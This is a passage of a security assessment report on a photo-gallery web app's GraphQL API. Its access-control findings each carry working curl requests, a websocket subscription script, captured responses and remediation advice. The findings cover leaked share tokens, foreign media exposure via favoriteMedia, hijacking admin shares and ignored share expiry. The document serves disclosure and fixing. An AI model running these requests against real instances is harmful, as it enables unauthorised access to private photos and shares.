Impact	Anonymous album(id: 5, token: SkLSTOMD) returned shares SkLSTOMD (user-minted) and CVZfxBqb (admin-minted). Nested from media share HOvqUL4N the same two album tokens plus the media token were listed. album(id: 2, token: pWgOTQvy) later listed pWgOTQvy, expired Nz70077l, and passworded ZM2ALtOW (hasPassword: true). GET lilac thumbnail with stolen album token pWgOTQvy returned HTTP 200 (19570 bytes) even though the visitor started from a different share.

Exploitation Steps

Step 1

Obtain any valid share for an album that has more than one token. On this run album 5 already had user token SkLSTOMD and admin token CVZfxBqb. Query shares anonymously:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ album(id: 5, tokenCredentials: {token: \"SkLSTOMD\"}) { id title shares { id token hasPassword expire owner { id username admin } } media { id title shares { token hasPassword } } } }"}'
```

Step 2

From a media-only share, walk nested album.shares (AUTHZ-02) to steal album-level tokens:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ media(id: 5, tokenCredentials: {token: \"HOvqUL4N\"}) { id shares { token hasPassword } album { id shares { token hasPassword owner { id username admin } } } } }"}'
```

Step 3

Reuse a stolen unpassworded album token without the original share:

```
curl -sI 'http://host.docker.internal:8000/api/photo/thumbnail_lilac_lilac_bush_lilac_jpg_zcg00iQo.jpg?token=pWgOTQvy'
```

Step 4

Create a passworded share and show it is inventoried (identifier leaked, password still required):

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
  -d '{"query":"mutation { shareAlbum(albumId: 2, password: \"secretpw\") { id token
hasPassword } } }'"
# token ZM2ALtOW
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ album(id: 2, tokenCredentials: {token: \"pWgOTQvy\"}) { shares { t
oken hasPassword } } } }'"
```

Proof of Impact

1. Anonymous inventory of every share on album 5 using only SkLSTOMD:

```
{ "data": { "album": { "id": "5", "title": "ui", "shares": [ { "id": "3", "token": "SkLSTOMD", "hasP
assword": false }, { "id": "7", "token": "CVZfxBqb", "hasPassword": false } ], "media": [ { "id": "5
", "title": "apple-touch-icon.png", "shares": [ { "token": "H0vqUL4N", "hasPassword": false } ]
} ] } }
```

2. Standalone shareToken confirms CVZfxBqb is an admin-owned album share:

```
{ "data": { "shareToken": { "id": "7", "token": "CVZfxBqb", "hasPassword": false, "owner": { "id"
: "1", "username": "admin", "admin": true }, "album": { "id": "5", "title": "ui" } } }
```

3. Stolen album token pWgOTQvy fetches a sibling file the original media share could not:

```
GET http://host.docker.internal:8000/api/photo/thumbnail_lilac_lilac_bush_lilac_jpg_
zcg00iQo.jpg?token=pWgOTQvy
HTTP/1.1 200 OK
Content-Length: 19570
Content-Type: image/jpeg
```

4. Passworded token ZM2ALtOW appears in the same unpassworded listing with hasPassword: true. Querying it without a password returns an error; with secretpw it returns the album.

Remediation

Filter Album.shares and Media.shares to Owner.id = current user, matching the schema comment. Do not return ShareToken.token to anonymous share visitors; if a public listing is needed, return only the current credential's token or a boolean hasShares. Passworded sibling tokens should not leak their identifier to holders of a different share.

Notes

- shareToken.owner {username admin} is additional PII once a token is known, but the mutation/query Owner preload is often empty on nested shares (id 0 / blank username); the standalone shareToken query does return owner. Password-protected sibling tokens leak the identifier only.

AUTHZ-04: favoriteMedia returns foreign media without ownership check

MEDIUM

OWASP A01:2025 — Broken Access Control

Location POST /api/graphql#mutation.favoriteMedia

Auth state Any authenticated user

Prerequisites	Authenticated non-admin session (user id=2). At least one Media row the caller does not own — here media id=5 in admin-only album 5 (/app/ui), created by adding that root and scanning. Anonymous callers are rejected.
Overview	favoriteMedia is gated only by @isAuthorized. It upserts user_media_data for any mediaId and then loads that Media row with no user_albums join. A non-admin user whose media(id) query is denied can still pull the foreign photo's title, filesystem path, containing album, sibling list, download URLs, and EXIF by starring it.
Impact	As user id=2, media(id: 5) returned record-not-found, but favoriteMedia(mediaId: 5) returned apple-touch-icon.png with path /app/ui/apple-touch-icon.png, album {id: 5, title: "ui", filePath: "/app/ui"}, sibling media 8 and 11, thumbnail/high-res URLs, and EXIF id 5. The same user cannot open those files via GET /api/photo (403).

Exploitation Steps

Step 1

Authenticate as the non-admin account user (id=2) and as admin (id=1). Confirm isolation: user 2 cannot read admin-only media 5, while favoriteMedia is still allowed for any logged-in user. If the instance only has the shared /photos album, add an admin-only root and scan so a foreign Media row exists (album 5 / media 5 on this run):

```
# Admin session (id=1)
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "mutation { authorizeUser(username: \"$username\", password: \"$password\") { success token } }"}'
# Save token as ADMIN_SESSION

# Non-admin session (id=2)
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "mutation { authorizeUser(username: \"user\", password: \"[USER_PASSWORD]\") { success token } }"}'
# Save token as USER_SESSION

curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -H "Cookie: auth-token=[ADMIN_SESSION]" \
  -d '{"query": "mutation { userAddRootPath(id: 1, rootPath: \"/app/ui\") { id title filePath } }"}'
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -H "Cookie: auth-token=[ADMIN_SESSION]" \
  -d '{"query": "mutation { scanAll { success message } }"}'
```

Step 2

Prove the intended ACL denies the same object:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
  -d '{"query": "{ media(id: 5) { id title path } }"}'
```

Step 3

Observed: could not get media by media_id and user_id from database: record not found. mediaList(ids: [5,8,11]) returns []. Call favoriteMedia on the denied id and request the sensitive fields:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
  -d '{"query": "mutation { favoriteMedia(mediaId: 5, favorite: true) { id title path } }"}'
```

```
type thumbnail { url } highRes { url } downloads { title mediaUrl { url } } exif {
id camera } album { id title filePath media { id title path } } }
```

Step 4

Observed HTTP 200 with the full foreign Media object (path /app/ui/apple-touch-icon.png, album 5, siblings 8/11, download URLs). Confirm REST still blocks the logged-in non-owner (this finding is GraphQL metadata, not file bytes):

```
curl -sI -H "Cookie: auth-token=[USER_SESSION]" \
http://host.docker.internal:8000/api/photo/apple-touch-icon_EzymEX5Q.png
```

Proof of Impact

1. Control: user id=2 cannot query the admin-only photo.

```
POST http://host.docker.internal:8000/api/graphql
Cookie: auth-token=[USER_SESSION]

{ media(id: 5) { id title path } }
```

```
{"errors":[{"message":"could not get media by media_id and user_id from database: record not found","path":["media"]}], "data":null}
```

2. Exploit: the same session stars that id and receives the object plus the rest of album 5.

```
{"data":{"favoriteMedia":{"id":"5","title":"apple-touch-icon.png","path":"/app/ui/apple-touch-icon.png","type":"Photo","thumbnail":{"url":"/api/photo/thumbnail_apple-touch-icon_png_ZgL33ow4.jpg"},"highRes":{"url":"/api/photo/apple-touch-icon_EzymEX5Q.png"},"downloads":[{"title":"Original","mediaUrl":{"url":"/api/photo/apple-touch-icon_EzymEX5Q.png"}},{"title":"Small","mediaUrl":{"url":"/api/photo/thumbnail_apple-touch-icon_png_ZgL33ow4.jpg"}]}],"exif":{"id":"5","camera":null},"album":{"id":"5","title":"ui","filePath":"/app/ui","media":[{"id":"5","title":"apple-touch-icon.png","path":"/app/ui/apple-touch-icon.png"}, {"id":"8","title":"logo192.png","path":"/app/ui/logo192.png"}, {"id":"11","title":"logo512.png","path":"/app/ui/logo512.png"}]}}}}
```

3. Repeatable on media 8 (logo192.png) and 11 (logo512.png). Unauthenticated favoriteMedia returns unauthorized. GET /api/photo/apple-touch-icon_EzymEX5Q.png with the user cookie is 403.

Remediation

Join user_albums on the media's album before the upsert, matching query media(id) and mediaList(ids). Return forbidden or record not found when the caller does not own the media. Do not return nested Album.media or Album.shares from this mutation for unowned objects.

Notes

- Contrast: query media(id) and mediaList(ids) both join user_albums and correctly omit unowned ids. shareMedia is also bound. Nested Media.album from this mutation further expands into Album.media and Album.shares (see AUTHZ-02/04) but this finding is the missing ownership check on favoriteMedia itself.

AUTHZ-05: getUserToken inverts admin check so any user can manage admin shares

MEDIUM

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql#mutation.deleteShareToken / protectShareToken
Auth state	Any authenticated user
Prerequisites	Authenticated non-admin who knows an admin-created share token value. On this instance those values were listed by Album.shares on albums both users can load (album 2) or that the attacker already shared (album 5 via AUTHZ-01).
Overview	getUserToken filters Owner.id = caller OR Owner.admin = TRUE. The predicate is on the token owner, not the caller: any authenticated user can delete or set/clear the password on shares created by an admin, while admins cannot manage regular users' tokens. Combined with Album.shares leaking admin token values, a non-admin can revoke or hijack admin shares.
Impact	As user id=2, protectShareToken(CVZfxBqb, "hijacked") succeeded on an admin-owned album-5 share (hasPassword became true; anonymous shareToken without password then failed; with password hijacked it still opened album 5). protectShareToken(HOvqUL4N) likewise locked the admin media share. deleteShareToken(LwFhbVPT) deleted the admin album-2 share; subsequent shareToken returned "share not found". The admin session could not protect user token pWgOTQvy or delete user token rsOllx2j (record not found).

Exploitation Steps

Step 1

As admin, create shares the non-admin should not manage. On this run: CVZfxBqb (album 5), HOvqUL4N (media 5), LwFhbVPT (album 2). Confirm ownership via shareToken (owner.admin true). As user id=2, lock an admin album share:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
-d '{"query":"mutation { protectShareToken(token: \"CVZfxBqb\", password: \"hijacked\") { id token hasPassword owner { id username admin } } }\"}'
```

Step 2

Observed owner still {id:"1", username:"admin", admin:true} with hasPassword: true. Repeat for HOvqUL4N. Show the public share now requires the attacker-chosen password:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query\":\"{ shareToken(credentials: {token: \"CVZfxBqb\"}) { id } }\"}'
# internal system error (nil password dereference)
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query\":\"{ shareToken(credentials: {token: \"CVZfxBqb\", password: \"hijacked\"}) { id hasPassword album { id title } } }\"}'
# success, album 5 "ui"
```

Step 3

Delete another admin share:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
-d '{"query":"mutation { deleteShareToken(token: \"LwFhbVPT\") { id token } }"}'
```

Step 4

Follow-up shareToken(LwFhbVPT) → share not found. Show the inversion the other way — admin cannot manage user tokens:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[ADMIN_SESSION]" \
-d '{"query":"mutation { protectShareToken(token: \"pWg0TQvy\", password: \"admint ry\") { id } }"}'
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[ADMIN_SESSION]" \
-d '{"query":"mutation { deleteShareToken(token: \"rs0llx2j\") { id } }"}'
```

Proof of Impact

1. Non-admin locks admin share CVZfxBqb:

```
{
  "data": {
    "protectShareToken": {
      "id": "7",
      "token": "CVZfxBqb",
      "hasPassword": true,
      "owner": {
        "id": "1",
        "username": "admin",
        "admin": true
      }
    }
  }
}
```

2. Anonymous access without password fails; with the attacker password it still opens the admin album:

```
{
  "data": {
    "shareToken": {
      "id": "7",
      "token": "CVZfxBqb",
      "hasPassword": true,
      "album": {
        "id": "5",
        "title": "ui"
      }
    }
  }
}
```

3. Non-admin deletes admin share LwFhbVPT:

```
{
  "data": {
    "deleteShareToken": {
      "id": "10",
      "token": "LwFhbVPT"
    }
  }
}
```

```
{
  "errors": [
    {
      "message": "share not found",
      "path": ["shareToken"]
    }
  ],
  "data": null
}
```

4. Admin cannot touch user shares:

```
{
  "errors": [
    {
      "message": "failed to get user share token from database: record not found",
      "path": ["protectShareToken"]
    }
  ],
  "data": null
}
{
  "errors": [
    {
      "message": "failed to get user share token from database: record not found",
      "path": ["deleteShareToken"]
    }
  ],
  "data": null
}
```

Remediation

Change getUserToken to filter Owner.id = caller, and separately allow the caller's Admin flag (user.Admin == true) to manage any token. Do not treat Owner.admin as a substitute for the caller being admin. After the fix, non-admins should only mutate their own share_tokens rows.

Notes

- Not “admin can delete any share” as recon originally guessed; the bug is the opposite inversion. Token value must be known. Password-protecting an admin share without the original password causes shareToken to panic (“internal system error”) when queried with no password, which is extra DoS on the public share page.

AUTHZ-06: Notification subscription broadcasts every user's scanner events

MEDIUM

OWASP A01:2025 — Broken Access Control

Location	WS /api/graphql#subscription.notification
Auth state	Any authenticated user
Prerequisites	Authenticated GraphQL websocket (cookie on upgrade). An in-progress scan that calls BroadcastNotification — admin scanAll/scanUser or periodic scanner. Empty library yields little path data until media is indexed.
Overview	Subscribe requires a logged-in user, but BroadcastNotification iterates every in-memory listener with no user filter. A non-admin with an open GraphQL websocket receives other users' scanner notifications, including album titles and absolute media filesystem paths.
Impact	User id=2 subscribed to notification. Admin scanAll/scanUser then pushed events for admin-only cache albums, e.g. header "Found new media in album '5'" content "Found /home/photoview/media-cache/5/5/thumbnail_apple-touch-icon_png_ZgL33ow4.jpg" and similarly for logo512/logo192 under albums the user cannot query (album(id: 5) is forbidden). Anonymous subscription is unauthorized. Regular users cannot call scanAll (user must be admin).

Exploitation Steps

Step 1

Open a graphql-ws connection as user id=2 and subscribe. Cookie auth is required on the upgrade.

```
const WebSocket = require('ws');
const ws = new WebSocket('ws://host.docker.internal:8000/api/graphql', 'graphql-ws',
  {
    headers: { Cookie: 'auth-token=[USER_SESSION]', Origin: 'http://host.docker.intern
al:8000' }
});
ws.on('open', () => ws.send(JSON.stringify({ type: 'connection_init', payload: {} }
)));
ws.on('message', (buf) => {
  const msg = JSON.parse(buf.toString());
  console.log(msg);
  if (msg.type === 'connection_ack') {
    ws.send(JSON.stringify({
      id: '1', type: 'start',
      payload: { query: 'subscription { notification { key type header content progr
ess } }' }
    }));
  }
});
```

Step 2

In another client, as admin, start a scan that touches admin-owned albums the subscriber does not own:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[ADMIN_SESSION]" \
-d '{"query": "mutation { scanAll { success message } }"}'
# also: mutation { scanUser(userId: 1) { success message } }
```

Step 3

Observe the user-2 websocket receive Found/Processed events for paths under /home/photoview/media-cache/... (admin-only album 5/7/8/11). Confirm the same user still cannot query those albums:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
-d '{"query":"{ album(id: 5) { id title } } }'
# forbidden
```

Proof of Impact

1. User-2 websocket (no admin flag) received admin-library scanner events, including:

```
{ "payload": { "data": { "notification": { "header": "Found new media in album '5'", "content": "Found /home/photoview/media-cache/5/5/thumbnail_apple-touch-icon_png_ZgL33ow4.jpg" } } }, "id": "1", "type": "data" }
{ "payload": { "data": { "notification": { "header": "Found new media in album '11'", "content": "Found /home/photoview/media-cache/5/11/thumbnail_logo512_png_l82i3Xw2.jpg" } } }, "id": "1", "type": "data" }
{ "payload": { "data": { "notification": { "header": "Found new media in album '8'", "content": "Found /home/photoview/media-cache/5/8/thumbnail_logo192_png_FHI4yTY2.jpg" } } }, "id": "1", "type": "data" }
{ "payload": { "data": { "notification": { "key": "global-scanner-progress", "header": "Scanning media", "content": "3 jobs in progress\n120 jobs waiting" } } }, "id": "1", "type": "data" }
```

2. The same user cannot open album 5 (forbidden) and cannot start scans (user must be admin). Unauthenticated POST of the subscription operation returns unauthorized.

Remediation

Filter BroadcastNotification to the listener whose user_id matches the scan's owner (or only emit global-scanner-progress to admins). RegisterListener already stores the user; consult that field before writing to the websocket. Do not include absolute filesystem paths in notification content for other principals.

Notes

- Schema Subscription.notification has no @isAuthorized; the resolver checks UserFromContext. RegisterListener stores the user but BroadcastNotification never consults it. Also leaks global-scanner-progress job counts.

AUTHZ-07: Share-token expire is stored but never enforced

MEDIUM

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql#query.shareToken and GET /api/photo?token=
Auth state	Unauthenticated
Prerequisites	Ability to create a share with expire set (any authenticated owner; GraphQL Time argument). The stock Sharing dialog does not send expire, so a non-UI client is required. The resulting token is then used anonymously.
Overview	shareAlbum/shareMedia persist optional expire, and ShareToken.expire is returned to clients, but GraphQL shareToken, shareTokenValidatePassword, album/media with tokenCredentials, and REST shareTokenFromRequest never compare Expire to now. A token created with expire in the past still authorizes the full share payload and original photo bytes.

Impact shareAlbum(albumId: 2, expire: 2020-01-01T00:00:00Z) returned token Nz70077l with that expire. Anonymous shareToken and album(id: 2, tokenCredentials) still returned all four photos. GET /api/photo/lilac_lilac_bush_lilac_uSdx9urR.jpg?token=xzWjBjfC (media share expire 2019-06-15) returned HTTP 200, 46372 bytes. GET /api/download/album/2/original?token=Nz70077l returned HTTP 200 application/zip, 2526356 bytes (filename album1.zip). shareTokenValidatePassword(Nz70077l) returned true. Missing token is 403; bogus token is 500.

Exploitation Steps

Step 1

As an album owner, mint shares whose expire is already in the past:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
  -d '{"query": "mutation { shareAlbum(albumId: 2, expire: \"2020-01-01T00:00:00Z\") { id token expire hasPassword } }"}'
# token Nz70077l, expire 2020-01-01T00:00:00Z

curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
  -d '{"query": "mutation { shareMedia(mediaId: 2, expire: \"2019-06-15T12:00:00Z\") { id token expire } }"}'
# token xzWjBjfC
```

Step 2

Anonymously query GraphQL as if the share were still valid:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ shareToken(credentials: {token: \"Nz70077l\"}) { id token expire album { id title media { id title path } } } }"}'
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ shareTokenValidatePassword(credentials: {token: \"Nz70077l\"}) } }"}'
```

Step 3

Fetch originals and a ZIP over REST with the expired tokens:

```
curl -sI 'http://host.docker.internal:8000/api/photo/lilac_lilac_bush_lilac_uSdx9urR.jpg?token=xzWjBjfC'
curl -sI 'http://host.docker.internal:8000/api/download/album/2/original?token=Nz70077l'
curl -sI 'http://host.docker.internal:8000/api/photo/lilac_lilac_bush_lilac_uSdx9urR.jpg'
curl -sI 'http://host.docker.internal:8000/api/photo/lilac_lilac_bush_lilac_uSdx9urR.jpg?token=AAAAAAA'
```

Proof of Impact

1. Create response still stores the past expire:

```
{ "data": { "shareAlbum": { "id": "11", "token": "Nz70077l", "expire": "2020-01-01T00:00:00Z", "hasPassword": false } } }
{ "data": { "shareMedia": { "id": "12", "token": "xzWjBjfC", "expire": "2019-06-15T12:00:00Z" } } }
```

2. GraphQL still serves the album (all four photos) and ValidatePassword is true:

```
{
  "data": {
    "shareToken": {
      "id": "11",
      "token": "Nz70077l",
      "expire": "2020-01-01T00:00:00Z",
      "album": {
        "id": "2",
        "title": "album1",
        "media": [
          {
            "id": "1",
            "title": "buttercup_close_summe
r_yellow.jpg"
          },
          {
            "id": "2",
            "title": "lilac_lilac_bush_lilac.jpg"
          },
          {
            "id": "3",
            "title": "mo
unt_merapi_volcano_indonesia.jpg"
          },
          {
            "id": "4",
            "title": "timeline.png"
          }
        ]
      }
    }
  }
}
```

3. REST originals and ZIP:

```
GET /api/photo/lilac_lilac_bush_lilac_uSdx9urR.jpg?token=xzWjBjfC
HTTP/1.1 200 OK
Content-Length: 46372
Content-Type: image/jpeg

GET /api/download/album/2/original?token=Nz70077l
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="album1.zip"
Content-Type: application/zip
# downloaded 2526356 bytes

GET /api/photo/lilac_lilac_bush_lilac_uSdx9urR.jpg -> 403 Forbidden
GET /api/photo/lilac_lilac_bush_lilac_uSdx9urR.jpg?token=AAAAAAA -> 500 Internal Se
rver Error
```

Remediation

Reject share tokens whose Expire is non-null and earlier than now in shareToken, shareTokenValidatePassword, album/media tokenCredentials, and REST shareTokenFromRequest — the same expire > now check already used by UserFromAccessToken. Treat expired tokens as share not found rather than valid credentials.

Notes

- Password on shares IS enforced (ZM2ALtOW without password errors; with secretpw succeeds). Access tokens do check expire > now; only share tokens skip it.